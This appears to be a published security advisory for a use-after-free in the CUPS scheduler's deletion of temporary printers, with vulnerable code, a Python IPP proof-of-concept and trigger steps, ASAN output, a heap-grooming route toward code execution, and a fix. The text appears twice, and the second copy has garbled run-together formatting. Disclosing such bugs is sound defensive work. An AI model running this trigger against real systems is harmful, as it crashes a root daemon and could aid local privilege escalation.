Summary
A use-after-free vulnerability exists in the CUPS scheduler (cupsd) when temporary printers are automatically deleted. cupsdDeleteTemporaryPrinters() in scheduler/printers.c calls cupsdDeletePrinter() without first expiring subscriptions that reference the printer, leaving cupsd_subscription_t.dest as a dangling pointer to freed heap memory. The dangling pointer is subsequently dereferenced at multiple code sites, causing a crash (denial of service) of the cupsd daemon. With heap grooming, this can be leveraged for code execution.
ASAN-confirmed on CUPS 2.5b1; code path verified present and identical in CUPS v2.4.16.
Details
The vulnerability is a reference lifecycle mismatch. The IPP delete_printer() handler in scheduler/ipp.c correctly calls cupsdExpireSubscriptions(printer, NULL) before cupsdDeletePrinter(), but cupsdDeleteTemporaryPrinters() omits this step.
Vulnerable code (scheduler/printers.c, cupsdDeleteTemporaryPrinters()):
for (p = (cupsd_printer_t *)cupsArrayFirst(Printers); p;
p = (cupsd_printer_t *)cupsArrayNext(Printers))
{
if (p->temporary &&
(force || (p->state_time < unused_time && p->state != IPP_PSTATE_PROCESSING)))
cupsdDeletePrinter(p, 0); // BUG: No cupsdExpireSubscriptions(p, NULL) call
}
After cupsdDeletePrinter() frees the printer struct (line 796: free(p)), any cupsd_subscription_t whose dest field pointed to that printer now holds a dangling pointer.
Crash site (scheduler/subscriptions.c:1141-1142, cupsdSaveAllSubscriptions()):
if (sub->dest)
cupsFilePrintf(fp, "PrinterName %s
", sub->dest->name); // UAF: sub->dest is freed
The trigger sequence in the main loop (scheduler/main.c):
cupsdDeleteTemporaryPrinters() runs at line 956, freeing the printer without expiring subscriptions. The call to cupsdDeletePrinter() → cupsdSetPrinterState() marks subscriptions dirty.
- On the next loop iteration,
cupsdCleanDirty() at line 884 calls cupsdSaveAllSubscriptions(), which iterates all subscriptions including the one with the dangling dest pointer, triggering the UAF.
Additional dereference sites exist in scheduler/ipp.c at lines 3490, 5014, 7014, 7031, 7732, 7901-7902, and 9237, accessing fields including ->name, ->op_policy_ptr, and ->state of the freed struct.
Safe code path for comparison (scheduler/ipp.c, delete_printer()):
cupsdExpireSubscriptions(printer, NULL); // line 6121 -- correctly expires first
// ...
cupsdDeletePrinter(printer, 0); // line 6152 -- then deletes
PoC
Prerequisites: CUPS <= 2.4.16 compiled with AddressSanitizer, localhost access.
Steps:
- Pre-configure a printer with
StateTime 0 in printers.conf (non-temporary, so it survives startup):
<Printer uaftest>
Info UAF Test Printer
DeviceURI file:///dev/null
State Idle
StateTime 0
Accepting Yes
</Printer>
-
Configure cupsd.conf with DirtyCleanInterval 1 and permissive policy (DefaultAuthType None, <Limit All> Allow all).
-
Start cupsd in foreground mode with ASAN:
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:print_stacktrace=1 \
LD_LIBRARY_PATH=/code/cups \
/code/scheduler/cupsd -f -c /path/to/cupsd.conf
- Create a subscription on the printer via IPP
Create-Printer-Subscription (0x0016):
import socket, struct
def ipp_header(op, rid=1):
msg = bytearray()
msg += struct.pack(">BBH I", 2, 0, op, rid)
return msg
def add_attr(msg, tag, name, value):
msg.append(tag)
msg += struct.pack(">H", len(name)) + name
msg += struct.pack(">H", len(value)) + value
# Build Create-Printer-Subscription
msg = ipp_header(0x0016)
msg.append(0x01) # operation-attributes-tag
add_attr(msg, 0x47, b"attributes-charset", b"utf-8")
add_attr(msg, 0x48, b"attributes-natural-language", b"en")
add_attr(msg, 0x45, b"printer-uri",
b"ipp://localhost:PORT/printers/uaftest")
msg.append(0x06) # subscription-attributes-tag
add_attr(msg, 0x44, b"notify-pull-method", b"ippget")
add_attr(msg, 0x44, b"notify-events", b"all")
msg.append(0x03) # end-of-attributes-tag
# Send over HTTP
http = (f"POST / HTTP/1.1
Host: localhost:PORT
"
f"Content-Type: application/ipp
"
f"Content-Length: {len(msg)}
"
f"Connection: close
").encode()
s = socket.create_connection(("localhost", PORT))
s.sendall(http + bytes(msg))
-
Set the printer to temporary via CUPS-Add-Modify-Printer (0x4003) with printer-is-temporary=true. The printer now has temporary=1 and state_time=0, making it immediately eligible for deletion.
-
On the next scheduler loop, cupsdDeleteTemporaryPrinters() finds the printer and frees it without expiring subscriptions.
-
Trigger cupsdSaveAllSubscriptions() by creating another subscription (to mark subscriptions dirty), then wait ~1 second for cupsdCleanDirty().
ASAN output (confirmed on CUPS 2.4.7 and CUPS 2.5b1):
==3494967==ERROR: AddressSanitizer: heap-use-after-free on address 0x51d000006528
READ of size 8 at 0x51d000006528 thread T0
#0 in get_subscriptions scheduler/ipp.c:8003
#1 in cupsdProcessIPPRequest scheduler/ipp.c:588
#2 in cupsdReadClient scheduler/client.c:1816
freed by thread T0 here:
#1 in cupsdDeletePrinter scheduler/printers.c:758
#2 in cupsdDeleteTemporaryPrinters scheduler/printers.c:795
#3 in main scheduler/main.c:993
previously allocated by thread T0 here:
#1 in cupsdAddPrinter scheduler/printers.c:75
#2 in add_printer scheduler/ipp.c:2300
The freed region is a 2016-byte cupsd_printer_t struct. The read at offset 168 (0xa8) corresponds to the op_policy_ptr field.
Impact
Denial of service (confirmed): Any local unprivileged user can crash the cupsd root daemon by creating a temporary printer with a subscription and waiting for the automatic 5-minute cleanup timeout. This causes complete loss of printing capability until the service is manually restarted. If cupsd auto-restarts (systemd Restart=on-failure), the crash can repeat in a loop.
Potential code execution: The freed cupsd_printer_t struct is a large (~2016 byte) allocation. Because the scheduler is single-threaded, heap reclamation is deterministic: creating a new printer via cupsdAddPrinter() calls calloc(1, sizeof(cupsd_printer_t)), which reclaims the exact freed chunk. The dangling sub->dest->op_policy_ptr field leads through cupsdCheckPolicy() → cupsdFindPolicyOp() → cupsArrayFind() → array->compare(), a function pointer call with attacker-influenced arguments.
Who is impacted: Any system running CUPS <= 2.4.16 where local users can connect to the cupsd socket (default configuration). The CUPS-Create-Local-Printer and Create-Printer-Subscription operations do not require authentication from localhost in the default policy.
Workaround
There is no configuration-level workaround. Administrators can restrict access to CUPS-Create-Local-Printer by adding authentication requirements in cupsd.conf, but this breaks expected localhost functionality.
Suggested Fix
Add cupsdExpireSubscriptions(p, NULL) before cupsdDeletePrinter(p, 0) in cupsdDeleteTemporaryPrinters(), matching the safe pattern used in delete_printer():
--- a/scheduler/printers.c
+++ b/scheduler/printers.c
@@ -829,7 +829,10 @@
for (p = (cupsd_printer_t *)cupsArrayFirst(Printers); p;
p = (cupsd_printer_t *)cupsArrayNext(Printers))
{
if (p->temporary &&
(force || (p->state_time < unused_time && p->state != IPP_PSTATE_PROCESSING)))
+ {
+ cupsdExpireSubscriptions(p, NULL);
cupsdDeletePrinter(p, 0);
+ }
}
}
As defense-in-depth, consider adding cupsdExpireSubscriptions(p, NULL) at the top of cupsdDeletePrinter() itself, so no caller can forget this step.
EDIT:
The vulnerability was fixed by Mike at the time of publishing it.
Fixes:
master a8ad716 Expire per-printer subscriptions before deleting.
2.4.x 0142eeb Expire per-printer subscriptions before deleting.
Summary
A use-after-free vulnerability exists in the CUPS scheduler (
cupsd) when temporary printers are automatically deleted.cupsdDeleteTemporaryPrinters()inscheduler/printers.ccallscupsdDeletePrinter()without first expiring subscriptions that reference the printer, leavingcupsd_subscription_t.destas a dangling pointer to freed heap memory. The dangling pointer is subsequently dereferenced at multiple code sites, causing a crash (denial of service) of the cupsd daemon. With heap grooming, this can be leveraged for code execution.ASAN-confirmed on CUPS 2.5b1; code path verified present and identical in CUPS v2.4.16.
Details
The vulnerability is a reference lifecycle mismatch. The IPP
delete_printer()handler inscheduler/ipp.ccorrectly callscupsdExpireSubscriptions(printer, NULL)beforecupsdDeletePrinter(), butcupsdDeleteTemporaryPrinters()omits this step.Vulnerable code (
scheduler/printers.c,cupsdDeleteTemporaryPrinters()):After
cupsdDeletePrinter()frees the printer struct (line 796:free(p)), anycupsd_subscription_twhosedestfield pointed to that printer now holds a dangling pointer.Crash site (
scheduler/subscriptions.c:1141-1142,cupsdSaveAllSubscriptions()):The trigger sequence in the main loop (
scheduler/main.c):cupsdDeleteTemporaryPrinters()runs at line 956, freeing the printer without expiring subscriptions. The call tocupsdDeletePrinter()→cupsdSetPrinterState()marks subscriptions dirty.cupsdCleanDirty()at line 884 callscupsdSaveAllSubscriptions(), which iterates all subscriptions including the one with the danglingdestpointer, triggering the UAF.Additional dereference sites exist in
scheduler/ipp.cat lines 3490, 5014, 7014, 7031, 7732, 7901-7902, and 9237, accessing fields including->name,->op_policy_ptr, and->stateof the freed struct.Safe code path for comparison (
scheduler/ipp.c,delete_printer()):PoC
Prerequisites: CUPS <= 2.4.16 compiled with AddressSanitizer, localhost access.
Steps:
StateTime 0inprinters.conf(non-temporary, so it survives startup):Configure
cupsd.confwithDirtyCleanInterval 1and permissive policy (DefaultAuthType None,<Limit All> Allow all).Start cupsd in foreground mode with ASAN:
Create-Printer-Subscription(0x0016):Set the printer to temporary via
CUPS-Add-Modify-Printer(0x4003) withprinter-is-temporary=true. The printer now hastemporary=1andstate_time=0, making it immediately eligible for deletion.On the next scheduler loop,
cupsdDeleteTemporaryPrinters()finds the printer and frees it without expiring subscriptions.Trigger
cupsdSaveAllSubscriptions()by creating another subscription (to mark subscriptions dirty), then wait ~1 second forcupsdCleanDirty().ASAN output (confirmed on CUPS 2.4.7 and CUPS 2.5b1):
The freed region is a 2016-byte
cupsd_printer_tstruct. The read at offset 168 (0xa8) corresponds to theop_policy_ptrfield.Impact
Denial of service (confirmed): Any local unprivileged user can crash the cupsd root daemon by creating a temporary printer with a subscription and waiting for the automatic 5-minute cleanup timeout. This causes complete loss of printing capability until the service is manually restarted. If cupsd auto-restarts (systemd
Restart=on-failure), the crash can repeat in a loop.Potential code execution: The freed
cupsd_printer_tstruct is a large (~2016 byte) allocation. Because the scheduler is single-threaded, heap reclamation is deterministic: creating a new printer viacupsdAddPrinter()callscalloc(1, sizeof(cupsd_printer_t)), which reclaims the exact freed chunk. The danglingsub->dest->op_policy_ptrfield leads throughcupsdCheckPolicy()→cupsdFindPolicyOp()→cupsArrayFind()→array->compare(), a function pointer call with attacker-influenced arguments.Who is impacted: Any system running CUPS <= 2.4.16 where local users can connect to the cupsd socket (default configuration). The
CUPS-Create-Local-PrinterandCreate-Printer-Subscriptionoperations do not require authentication from localhost in the default policy.Workaround
There is no configuration-level workaround. Administrators can restrict access to
CUPS-Create-Local-Printerby adding authentication requirements incupsd.conf, but this breaks expected localhost functionality.Suggested Fix
Add
cupsdExpireSubscriptions(p, NULL)beforecupsdDeletePrinter(p, 0)incupsdDeleteTemporaryPrinters(), matching the safe pattern used indelete_printer():As defense-in-depth, consider adding
cupsdExpireSubscriptions(p, NULL)at the top ofcupsdDeletePrinter()itself, so no caller can forget this step.EDIT:
The vulnerability was fixed by Mike at the time of publishing it.
Fixes:
master a8ad716 Expire per-printer subscriptions before deleting.
2.4.x 0142eeb Expire per-printer subscriptions before deleting.